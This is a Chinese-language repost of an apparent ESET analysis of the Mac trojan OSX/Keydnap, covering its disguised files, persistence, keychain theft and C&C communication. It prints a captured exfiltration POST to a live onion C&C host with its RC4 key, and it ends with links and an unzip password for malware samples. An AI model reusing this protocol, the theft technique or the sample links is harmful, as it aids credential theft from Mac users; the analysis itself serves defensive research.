您现在的位置: 华盟网 >> Hack >> 牧马天地 >> 正文

[组图]解剖最近被发现的Mac OS木马 – OSX/Keydnap

2016/7/13 作者:clouds 来源: 网络收集
导读 近期,ESET安全公司发现了一例针对Mac 用户的恶意木马程序 OSX/Keydnap,该恶意程序窃取苹果系统密码信息并驻留于Mac OS系统中成为后门木马。以下是对该恶意程序的相关技术分析。

  trojan-600x300.jpeg

        一、感染载体

  目前还不清楚OSX/Keydnap 恶意程序以何种方式感染了受害者系统,但很有可能是通过垃圾邮件或者是非受信网站下载等途径。

  据我们分析,恶意程序是下载者类型木马(downloader ),由.zip压缩文件方式组成,存在于受害者系统中,.zip压缩文件中包含有可执行的 Mach-O 文件,这些文件看似是.txt或.jpg文件,但其实在这些文件后缀名后被加了个空格隐藏在末尾,这就是木马程序的伪装手段。由于Mac OS 默认这种文件为终端执行文件,这意味着在双击打开图片或文档的同时,恶意程序的 payload 同时也在终端环境下被运行。

  01.png

  图1: 在Finder下的恶意ZIP和 “.jpg ” 文件

  02.png

  图2: 恶意文件的属性信息

  .zip压缩文件中的可执行文件利用Resource fork (资源分支)内的icon图标伪装成Finder下的JPEG或TXT文件,增加受害者双击运行的可能。

  OSX-Keydna_clip1.gif

  图3:恶意文件在OS X El Capitan下执行的屏幕画面,注意在打开预览前的瞬间文件图标变化。

  二、OSX / keydnap下载者程序

  恶意程序是一个可执行的Mach-O文件,在最近版本的OS X和Mac OS系统中,如果该文件被从网络下载,且Gatekeeper安全功能开启,则系统将会向用户显示警告,恶意程序代码不会执行。

  04.png

  图4: ZIP文件被Safari 下载之后的系统警告信息

  Keydnap程序功能非常简单:

  (1)下载并执行后门组件;

  (2)用base64加密的诱饵文件作为下载者木马文件中的Mach-O可执行文件;

  (3)执行诱饵文件(下文将具体描述);

  (4)打开执行诱饵文件的终端窗口。

  诱饵文件替换了Mach-O文件,所以恶意程序只在ZIP文件中显示。木马在诱饵文件执行后还将执行后续操作:其中的后门程序将在Mac OS的 LaunchAgents 目录下添加一个入口属性,以保持重启后在系统中处于驻留状态。在之后的后门分析部分将会详细说明。

  我们还发现了各种样式的下载者木马程序,在文章末尾列出了一系列样本文件信息。

  有趣的是,最近我们发现的诱饵样本文件都是各种截图文件,如僵尸网络的管理界面和信用卡号码的数据信息等。这说明了Keydnap 针对的攻击目标可能是地下论坛用户或者一些安全研究人员。在最近一个变种中甚至还包括了一些“构造名词”,如 elitef*ck、ccshop 和 transmission。

  05-1.png

  图 5-1: 诱饵文件一

  05-2.png

  图 5-2: 诱饵文件二

  05-3.png

  图 5-3: 诱饵文件三

  三、OSX/Keydnap后门程序

  在所有样本文件中的后门程序中,我们发现都包含有名为 icloudsyncd 的文件名,恶意程序以不同的版本字符串向远程C&C控制服务器发起请求。目前,我们发现了两个版本:2016年5月的1.3.1版本和6月的1.3.5版本。

  代码混淆:

  木马整体未被加壳,只是后门程序被一个修改版本的UPX程序加壳。其中:

  UPX头部字节“UPX!”被换为“ASS7”

  脱壳代码和字符串区被以0×01进行异或操作,异或操作被运用于脱壳之后,调用主函数二进制之前。

  06.png

  图6: 修改过的加壳方式与其它方式对比

  ESET提供了一个直接使用命令 upx –d 就可让Keydnap后门程序脱壳的UPX程序 :github

  木马持续性:

  恶意软件一旦开始运行,如果具备root权限,Keydnap后门程序就会在

  /Library/LaunchAgents/

  或

  /$USER/Library/LaunchAgents/

  目录下安装一个 plist文件,保持系统重启之后的持续驻留。

  目录

  Library/Application Support/com.apple.iCloud.sync.daemon

  被用来保存icloudsyncd 执行文件,该目录中包含有恶意软件的进程ID process.id和构造名字(攻击者所起)信息build.id

  利用管理者权限,木马程序通过更改icloudsyncd文件的所有者权限为root:admin,并更改可执行文件的setuid和setgid ,这意味着木马后续将以root权限运行于系统中。

     07.png

  图7:在LaunchAgents 目录下的plist文件

  为了隐藏恶意文件位置,Keydnap用

/usr/libexec/icloudsyncd –launchd netlogon.bundle

  来代替进程调用变量的显示信息,以下就是在受害者系统内进程查看命令的操作结果:

$ ps ax
[...]
566 ?? Ss 0:00.01 /usr/libexec/icloudsyncd -launchd netlogon.bundle
[...]

  窃取密码管理器Keychain信息:

  OSX/keydnap后门程序配备了针对OS X keychain 的密码收集和窃取功能,经我们概念性地研究之后把它称为Keychaindump(github),它通过读取securityd 进程的内存,搜索用户keychain中的密码信息,这个步骤曾被K. Lee and H. Koo研究发表过论文。

    09.png

  图 9: Keydnap 后门程序的功能列表 Keychaindump

  与C&C控制服务器的通信:

  (1) Keydnap 通过Tor2Web 的HTTPS 隐秘网关onion.to 与远程C&C服务器进行通信,我们发现了用于不同样本中的两个onion地址:

g5wcesdfjzne7255.onion (不可访问)

r2elajikcosf7zee.onion (在写这篇报告时可访问)

  (2) 木马程序的HTTP连接方式总是与 /api/osx/开始并且包含以下动作:

/api/osx/started    --向远程中转结点报告攻击开始

/api/osx/keychain   --筛选keychain信息

/api/osx/get_task?bot_id={botid}&version={version}(后面将会提及)   --任务请求

/api/osx/cmd_executed    --报告命令成功执行

/api/osx/task_complete?bot_id={botid}&task_id={taskid} --报告任务结束

  其中 HTTP POST 数据中包含两个参数区域bot_id和data,data数据部分用key为“u2RLhh+!LGd9p8!ZtuKcN”的字符进行了RC4加密,当搜索并提取keychain信息后,keychain区域则被data区域填充。

POST /api/osx/started HTTP/1.1
Host: r2elajikcosf7zee.onion.to
Accept: */*
Content-Length: 233
Content-Type: application/x-www-form-urlencoded

bot_id=9a8965ba04e72909f36c8d16aa801794c6d905d045c2b704e8f0a9bbb97d3eb8&data=psX0DKYB0u...5TximyY%2BQY%3D

  图10: 恶意程序发送的初始信息

> rc4decrypt(base64decode("psX0DKYB0u...5TximyY+QY="), "u2RLhh+!LGd9p8!ZtuKcN")
device_model=MacBookPro9,2
bot_version=1.3.5
build_name=elitef*ck
os_version=15.5.0
ip_address=4.5.6.7
has_root=0

  图11:向C&C服务器发送的信息(解码后)

  bot_id 由以下SHA-256加密信息组成:

硬盘UUID信息

系统序列号(IOPlatformSerialNumber)

主机型号(如: MacBookPro9,2)

  这些恶意行为非常明显

  启动命令将向远程C&C控制服务器发送以下信息:

device_model:  型号(如: MacBookPro9.2)

bot_version:   Keydnap版本号

build_name:    构造名字

os_version:    OS X 或macOS 内核版本

ip_address:    外网IP地址

has_root:     1 代表root权限, 0 代表其它

  木马命令:

  在通过HTTP方式发起的命令中

api/osx/get_task?bot_id={botid}&version={version}

  木马对get_task命令的请求回应中包含了一个整数来确认命令的类型和其它可选参数,

  名为get_and_execute_tasks的函数中包含10个不同的命令类型:

      

  以最后两个命令为例,如果keydnap没作为root权限被运行,那么ID 8号命令将会被发送。命令运行后,后门程序将会监控用户进程数,当其中两个进程在2秒之内被创建后,Keydnap将会产生一个要求用户输入用户名密码的窗口,看上去就像OS X系统中某个程序需要系统执行权限一样,如果受害者被此迷惑并输入用户名密码之后,后门程序将以root权限运行,并且其keychain信息将会被盗取。

  request_root-768x434.png

  图12: 进程数检查

  13.png

  图13: icloudsyncd 发起的管理权限请求以迷惑用户输入密码信息

  在ID 9命令中,我们不知道authd_service的作用,因为它还没被使用过,可能是恶意软件针对有价值目标进行的第三阶段部署。

  四、总结

  目前为止,对这个恶意程序的分析“拼图” 还有一些丢失的碎片,如:我们不知道Keydnap是如何传播感染和分布的,也不清楚有多少受害者。

  尽管OS X 系统在防范恶意软件方面有多重安全机制,但就这起案例来看,当Mach-O 图标文件被伪装成恶意代码文件之后,OS X 用户存在被欺骗执行的可能,OS X 系统面临安全风险。

  五、样本文件:

  下载者木马程序

  所有被ESET 以OSX/TrojanDownloader.Keydnap.A监测归类的木马程序:

      

  后门程序

     

  后门C&C 服务器

  hxxps://g5wcesdfjzne7255.onion.to/

        hxxps://r2elajikcosf7zee.onion.to/

  **** 关于Keydnap的相关样本信息你可以在 ESET的github中找到 malware-iocGithub repository。

  后记

  疑似样本文件 – 下载

  https://t.co/Tu9WYYLGaQ 解压密码:infect3dhttps://yunpan.cn/OcBSyiNW5f2fCW (提取码:e78c)

                  微信群名称:华盟黑白之道二群     华盟-黑白之道⑦QQ群: 9430885

  • 上一篇Hack:

  • 下一篇Hack: 没有了
  • 网友评论
      验证码